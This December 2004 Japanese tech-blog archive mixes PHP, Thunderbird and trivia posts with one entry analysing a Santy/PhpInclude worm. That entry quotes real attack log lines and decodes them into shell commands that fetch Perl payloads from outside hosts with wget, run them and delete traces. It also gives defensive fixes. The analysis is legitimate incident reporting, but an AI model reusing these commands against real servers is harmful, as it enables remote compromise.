2004-12はてなブックマーク

<< 2004.12 >>
      1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31  

2004-12-29はてなブックマーク

[etc]ゴン太くん Permalinkはてなブックマーク

ゴン太くんのひみつ

この井村さんの似顔絵は本当にそっくり。

「ゴン太」について

[Devel]PHP Easter Eggs Permalinkはてなブックマーク

(via "週"記)

expose_php = Off にしていない状態で、任意のPHPスクリプトに対して以下のようにすると見られる。

1.gif
  1. PHP_LOGO

    hoge.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42

    2.gif
  2. PHP_EGG (Nadiaという犬?)

    hoge.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

    3.gif
  3. ZEND_LOGO

    hoge.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42

  4. PHP_CREDITS (phpinfo()似)

    hoge.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

ソースを良く見ると ext/standard/info.h に定数が書いてありますね。

2004-12-28はてなブックマーク

[Computer]Thunderbird 1.0 日本語版に不具合があったらしい Permalinkはてなブックマーク

thunderbird.png

Thunderbird 1.0 日本語版 2004年12月28日13:00 リリース予定 (via オレンジニュース)

修正版が28日13:30に公開されました。
Mac OS版は別の不具合により、26日16:00に修正版が公開されています。

[Devel]Apache1とApache2のパフォーマンス比較 Permalinkはてなブックマーク

Apache 1とApache 2のパフォーマンス比較 (via オレンジニュース)

Apache1.3系に乗り換えるべきか。

[Hatena]はてなで最近した回答 Permalinkはてなブックマーク

2004-12-27はてなブックマーク

[Security]PHPの脆弱性を狙った攻撃? Permalinkはてなブックマーク

追記(04/12/28):Santy.C or Santy.E or PhpInclude.Worm と呼ばれるワームだと判明。include(),require()の不適切な使用による脆弱性を突きます。脆弱性の詳細と対処法はこちら。includeする前にチェックすればOKです。
追記(04/12/30):allow_url_fopen = Off で対処できる模様。*1
追記(05/01/05):上記では問題があるようです。個人的なメモと備忘録 allow_url_fopen を Off にするという対処の問題点について。対策は個人的なメモと備忘録 PHP サーバに感染するワームについてをご覧下さい。
PukiWikiの対策状況についてはPukiWiki-dev:BugTrack/771

PHPの脆弱性を狙ったものかなあ。
IPが色々なので、リクエストを送っているのは被害者かも。
oo部は伏字。

oo.oo.ooo.ooo - - [26/Dec/2004:14:07:15 +0900] "GET /index.php?cmd=diff&amp;page=http://midomain.false.ca/~pillar/.zk/php.gif?&cmd=cd%20/tmp;wget%20midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611113;wget%20midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20sess_189f0f0889555397a4de5485dd611112;wget%20midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20sess_189f0f0889555397a4de5485dd611113.*%20sess_189f0f0889555397a4de5485dd611114.*%20sess_189f0f0889555397a4de5485dd611112.*;cp%20sess_189f0f0889555397a4de5485dd611111%20sess_189f0f0889555397a4de5485dd611113%20sess_189f0f0889555397a4de5485dd611114%20sess_189f0f0889555397a4de5485dd611112%20/var/tmp/;cp%20sess_189f0f0889555397a4de5485dd611111%20sess_189f0f0889555397a4de5485dd611113%20sess_189f0f0889555397a4de5485dd611114%20sess_189f0f0889555397a4de5485dd611112%20/var/spool/mail/;cp%20sess_189f0f0889555397a4de5485dd611111%20sess_189f0f0889555397a4de5485dd611113%20sess_189f0f0889555397a4de5485dd611114%20sess_189f0f0889555397a4de5485dd611112%20/var/mail/;cp%20sess_189f0f0889555397a4de5485dd611111%20sess_189f0f0889555397a4de5485dd611113%20sess_189f0f0889555397a4de5485dd611114%20sess_189f0f0889555397a4de5485dd611112%20/usr/local/apache/proxy/;cd%20/var/tmp/;perl%20sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611112;cd%20/var/spool/mail/;perl%20sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611112;cd%20/var/mail/;perl%20sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611112;cd%20/usr/local/apache/proxy/;perl%20sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611112;rm%20-rf%20/tmp/sess_189f0f0889555397a4de5485dd611111*%20/var/tmp/sess_189f0f0889555397a4de5485dd611111*%20/var/spool/mail/sess_189f0f0889555397a4de5485dd611111*%20/var/mail/sess_189f0f0889555397a4de5485dd611111*%20/usr/local/apache/proxy/sess_189f0f0889555397a4de5485dd611111* HTTP/1.1" 301 - "-" "LWP::Simple/5.65"

;の後ろで改行し、%20を半角スペースに置換すると、こんな感じ。

cd /tmp;
wget midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611111;
perl sess_189f0f0889555397a4de5485dd611111;
wget midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113;
perl sess_189f0f0889555397a4de5485dd611113;
wget midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;
perl sess_189f0f0889555397a4de5485dd611112;
wget midomain.false.ca/~pillar/.zk/sess_189f0f0889555397a4de5485dd611114;
perl sess_189f0f0889555397a4de5485dd611114;
rm -rf sess_189f0f0889555397a4de5485dd611113.* sess_189f0f0889555397a4de5485dd611114.* sess_189f0f0889555397a4de5485dd611112.*;
cp sess_189f0f0889555397a4de5485dd611111 sess_189f0f0889555397a4de5485dd611113 sess_189f0f0889555397a4de5485dd611114 sess_189f0f0889555397a4de5485dd611112 /var/tmp/;
cp sess_189f0f0889555397a4de5485dd611111 sess_189f0f0889555397a4de5485dd611113 sess_189f0f0889555397a4de5485dd611114 sess_189f0f0889555397a4de5485dd611112 /var/spool/mail/;
cp sess_189f0f0889555397a4de5485dd611111 sess_189f0f0889555397a4de5485dd611113 sess_189f0f0889555397a4de5485dd611114 sess_189f0f0889555397a4de5485dd611112 /var/mail/;
cp sess_189f0f0889555397a4de5485dd611111 sess_189f0f0889555397a4de5485dd611113 sess_189f0f0889555397a4de5485dd611114 sess_189f0f0889555397a4de5485dd611112 /usr/local/apache/proxy/;
cd /var/tmp/;
perl sess_189f0f0889555397a4de5485dd611111;
perl sess_189f0f0889555397a4de5485dd611113;
perl sess_189f0f0889555397a4de5485dd611114;
perl sess_189f0f0889555397a4de5485dd611112;
cd /var/spool/mail/;
perl sess_189f0f0889555397a4de5485dd611111;
perl sess_189f0f0889555397a4de5485dd611113;
perl sess_189f0f0889555397a4de5485dd611114;
perl sess_189f0f0889555397a4de5485dd611112;
cd /var/mail/;
perl sess_189f0f0889555397a4de5485dd611111;
perl sess_189f0f0889555397a4de5485dd611113;
perl sess_189f0f0889555397a4de5485dd611114;
perl sess_189f0f0889555397a4de5485dd611112;
cd /usr/local/apache/proxy/;
perl sess_189f0f0889555397a4de5485dd611111;
perl sess_189f0f0889555397a4de5485dd611113;
perl sess_189f0f0889555397a4de5485dd611114;
perl sess_189f0f0889555397a4de5485dd611112;
rm -rf /tmp/sess_189f0f0889555397a4de5485dd611111* /var/tmp/sess_189f0f0889555397a4de5485dd611111* /var/spool/mail/sess_189f0f0889555397a4de5485dd611111* /var/mail/sess_189f0f0889555397a4de5485dd611111* /usr/local/apache/proxy/sess_189f0f0889555397a4de5485dd611111*

もう一件。

oo.oo.oo.oo - - [26/Dec/2004:10:35:55 +0900] "GET /index.php?cmd=diff&amp;page=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt HTTP/1.1" 301 - "-" "LWP::Simple/5.803"

同じように処理するとこんな感じ。こちらは掃除しないみたい。

cd /tmp;
wget www.visualcoders.net/spybot.txt;
wget www.visualcoders.net/worm1.txt;
wget www.visualcoders.net/php.txt;
wget www.visualcoders.net/ownz.txt;
wget www.visualcoders.net/zone.txt;
perl spybot.txt;
perl worm1.txt;
perl ownz.txt;
perl php.txt


以下妄想。

  1. GIF画像をopenさせるincludeさせる
  2. 任意のコマンドをリモートから実行できるようになる
  3. Perlスクリプトをダウンロード
  4. Perlスクリプトを実行
  5. 次のサーバにリクエストを送る

関係がありそうな情報


正直者なので、ひとまず以下を.htaccessかhttpd.confに。効果は気休め程度。

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} ^LWP.* [NC]
RewriteRule  .* - [F]


素性判明。後者はPerl.Santy.CというWormらしい。

こちらでは PhpInclude.Worm or Santy.e となっている。

続報。

2004-12-25はてなブックマーク

[Computer]Thunderbird 1.0 日本語版 Permalinkはてなブックマーク

thunderbird.png

Thunderbird 1.0 日本語版リリース!
Becky!2からの振り分け設定移行ツールもちょっとだけ改良してみました。

2004-12-24はてなブックマーク

[Server]Nagios 2.0b1 リリース Permalinkはてなブックマーク

Nagios 2.0b1 がリリースされました。
メジャーバージョンアップなので要チェック。

2004-12-23はてなブックマーク

[Interface]光受容細胞 Permalinkはてなブックマーク

[教えて!goo] 人間の目はどのくらいの画素数に相当するのですか?

これに限らず、ruehasという方の回答はとっても丁寧で面白い。

[etc]SONY取扱説明書ダウンロードサービス Permalinkはてなブックマーク

SONY取扱説明書ダウンロードサービス

94年の商品でもスキャン画像じゃなくてPDFなところが凄い。

[Unix]Linux上でMacバイナリ除去 Permalinkはてなブックマーク

macutils内のmacsaveを使う。

apt-get install macutils

データフォークのみを取り出す。

cat hoge | macsave -d

ヘッダのみを除去する場合はtailでもOK。

tail +129c hoge > hoge.new

[Movie]iPodファンが自主制作したCM Permalinkはてなブックマーク

『iPod』ファンが自主制作したCM、ウェブで話題に (via 今日の戯言 ChangeLog)

完成度高っ!

2004-12-20はてなブックマーク

[Devel]eAccelerator 0.9.1 Permalinkはてなブックマーク

eAccelerator 0.9.1

PHPアクセラレーター。Turck MMCache for PHP の後継ソフトウェア。

Notes: First release from eAccelerator with patches for PHP5.
This package should compile under PHP4 and PHP5

[Devel]Devel Permalinkはてなブックマーク

hiddenタグ値を変更「HTML Source Code Explorer Bar」 (via オレンジニュース)

PHP::Perlinfo - phpinfo() 風に perl の情報を表示 : NDO::Weblog

[etc]音効さん Permalinkはてなブックマーク

東宝 映画トピックス

結局、コントラバスの弦を外し、それを松ヤニを付けた皮手袋で縦に引っ張って
音を出したのですが、ゴジラも驚いたり悲しんだりしますので、その音を基礎に、
電気チェーンソーの音などを混ぜて作りました。

【ことばをめぐる】(020529)ターザン,安野光雅,松沢哲郎,マルティネ,二重分節(言語の)

映画に出てくるターザンの「アーアーアー」という雄叫びは、人間の声ではなく、
当初は「フクロウの声だの何だのを録音し、逆回しにしたりして合成したもの」

怪獣の部屋ゲストブック23

レッドキングの声をスロ−にすると、ラドンの声になります。ジャミラの声は
赤ん坊の泣き声です。ガメラはシャッタ−の開閉音だったはず。

Cinema Clip:コン・リーの足音、実は私です

その名も「祐次郎パンチ」。畳一枚ほどの広さにクジラの肉をつるし、
コブシで2000回叩いて録った。現在でも劇映画で使用される“究極のパンチ音”だ。

[etc]「都会で少年犯罪が増え凶悪化している」は完全なデタラメ Permalinkはてなブックマーク

Passion For The Future: なぜ「少年」は犯罪に走ったのか

"There are three kinds of lies: lies, damned lies, and statistics."

2004-12-19はてなブックマーク

[etc]コピーできない紙 Permalinkはてなブックマーク

コピーできない紙 (via はてな )

2004-12-18はてなブックマーク

[Computer]ここ最近気になったソフト Permalinkはてなブックマーク

2004-12-17はてなブックマーク

[Devel]PHP4.3.10でエラー Permalinkはてなブックマーク

PukiWikiのエラーログ*2が半日で30MByteになってました (^^;
エラー

unpack(): Type H: outside of string on /var/www/html/lib/func.php line 298

該当箇所

// ページ名のエンコード
function encode($key)
{
	return ($key == '') ? '' : strtoupper(join('', unpack('H*0', $key)));
}

pack.cの4.3.9→4.3.10のdiffを取ってみると下記のような箇所があり、ここでinputposが-1になっているため、エラーが出ているみたいです。

@@ -820,6 +832,10 @@
 				}
 
 				inputpos += size;
+				if (inputpos < 0) {
+					php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: outside of string", type);
+					inputpos = 0;
+				}
 			} else if (arg < 0) {
 				/* Reached end of input for '*' repeater */
 				break;

運用上は特に問題ないみたいなので、php_error_docrefの行をコメントアウトしちゃいました (^^; (ダメ人間)


追記(04/12/22):PHP 4.3.10 Release Announcement のCAN-2004-1018が原因で修正された箇所かも。
関連:SecuriTeam.com ™ (Multiple Vulnerabilities within PHP 4/5 (pack, unpack, safe_mode_exec_dir, safe_mode, realpath, unserialize))


追記(04/12/30):PukiWiki-dev:BugTrack/767で検討中の模様。


こんな感じに対処するようにとのことです。CVS版は修正済み。

--- func.php.orig	2004-08-07 00:39:52.000000000 +0900
+++ func.php	2004-12-30 16:47:06.000000000 +0900
@@ -243,7 +243,7 @@
 // ページ名のエンコード
 function encode($key)
 {
-	return ($key == '') ? '' : strtoupper(join('', unpack('H*0', $key)));
+	return ($key == '') ? '' : strtoupper(bin2hex($key));
 }
 
 // ページ名のデコード
  • (反応はや!)
    Posted by henoheno at 2004-12-30 (木) 14:05
  • えへへ。年末暇なもんで :D
    Posted by きゅーこん at 2004-12-30 (木) 16:27

2004-12-16はてなブックマーク

[Devel]Turck MMCache for PHP の後継 Permalinkはてなブックマーク

eAccelerator (via PHP-J.com ブログ)

PHPアクセラレーター Turck MMCache for PHP の後継ソフトウェア。
期待してます。ただ、READMEがソフト名を置換しただけになっているため、意味不明気味。

PHP4.3.10, PHP5.0.3リリース

foreachが早くなったとか。
PHPに深刻なセキュリティ・ホール,リモートからコードを実行される : IT Pro ニュースもあるのでアップグレードは必須。

2004-12-15はてなブックマーク

[Devel]If-Modified-Sinceに対応する Permalinkはてなブックマーク

モジュール版PHPで「If-Modified-Since」に対応する

事例に学ぶWebシステム開発のワンポイント(12)

HTTPレスポンス・ヘッダ偽造法 - faireal

2004-12-14はてなブックマーク

[Word]もじる・よじる・ねじる→捩る Permalinkはてなブックマーク

もじる・よじる・ねじるは全部「捩る」と書く。*3
すじるは「捩」の大を犬にした漢字?

[Movie]鉄人28号 Permalinkはてなブックマーク

鉄人28号 公式サイト (via TECHSIDE.NET)

こんなに重さの感じられない3Dを堂々と公開する東映って一体・・・。
カレーパンのうたを見習って欲しい。

[Image]雲の上の橋 Permalinkはてなブックマーク

世界一高い橋、雲間の343メートル 仏南部ミヨー - asahi.com : 国際 (via TECHSIDE.NET)

モンサンミシェルも良かったなあ。

2004-12-11はてなブックマーク

[Web]Google検索コマンド Permalinkはてなブックマーク

Google検索コマンドと演算子一覧/Web検索! メタサーチ/

2004-12-10はてなブックマーク

[Word](A若しくはB)又はC Permalinkはてなブックマーク

【ことばをめぐる】(010421)命令表現,ものとする,こと(命令)

[Devel]alt属性とtitle属性 Permalinkはてなブックマーク

BMediaNode: alt属性とtitle属性

[Word]尊敬 謙譲 Permalinkはてなブックマーク

あいかわらずビジネスメールが苦手。いまそかり。

[Movie]カレーパンのうた Permalinkはてなブックマーク

カレーパンのうた

絶妙ナンセンス。

2004-12-08はてなブックマーク

[Word]ビリッケツ Permalinkはてなブックマーク

ビリ(びり) - 語源由来辞典

ビリの語源は未詳であるが、「尻(しり)」が転訛して「ひり」となり、
びりになったとする説が有力とされる。

つまり、「ビリッケツ」は感動の再会。

[Computer]Computer Permalinkはてなブックマーク

アメリカではHTMLメールが一般的らしい (via オレンジニュース)

IBM、PC事業売却に向けて交渉を開始--米紙報道 - CNET Japan

ThinkPadのクオリティーが下がるかも。

[Devel]テンポラリファイルを確実に消す方法 Permalinkはてなブックマーク

テンポラリファイルを確実に消す方法 (Landscape - エンジニアのメモ)

open 直後に unlink して、そのまま使いつづける

2004-12-03はてなブックマーク

[etc]ニンテンドーDSの「DS」の本当の意味 Permalinkはてなブックマーク

ニンテンドーDSの「DS」の本当の意味 (via オレンジニュース)

納得。

2004-12-02はてなブックマーク

[Word]難読に潜む音便変化 Permalinkはてなブックマーク

イフの世界

太夫を「たゆう」と読む理由。*4

[Trivia]振り仮名のルビと宝石のルビー Permalinkはてなブックマーク

Wikipedia:ルビ

rubyタグを見たときに何故rubiではないのか不思議だったけど、ようやく解決。

[Word]おじゃまたくし Permalinkはてなブックマーク

誤認性エベレーター症候群

とうもころし。

[Security]緊急 Internet Explorer 用の累積的なセキュリティ更新プログラム Permalinkはてなブックマーク

win___s_logo.png

Internet Explorer 用の累積的なセキュリティ更新プログラム (889293) (MS04-040)

おとなもこどもも、おねーさんも。

2004-12-01はてなブックマーク

[etc]訴状を見ていないのでコメントできない Permalinkはてなブックマーク

訴状を見ていないのでコメントできない - 解散宣言・「正しい日本語を守る会」

届くまでに2週間程度かかるので。

[Computer]SCSI機器においてのターミネータの必要性 Permalinkはてなブックマーク

SCSIターミネーター (via はてな)

「ザッパ〜ン」は言い得て妙。

*1 無効にする場合はこの機能を使っていないかどうか確かめて下さい。
*2 PukiWiki-dev:PukiWiki/1.4/ちょっと便利に/エラーログをファイルに出力
*3 「ねじる」は捻る・拗るとも書く。
*4 韻踏めた! :)
差分 一覧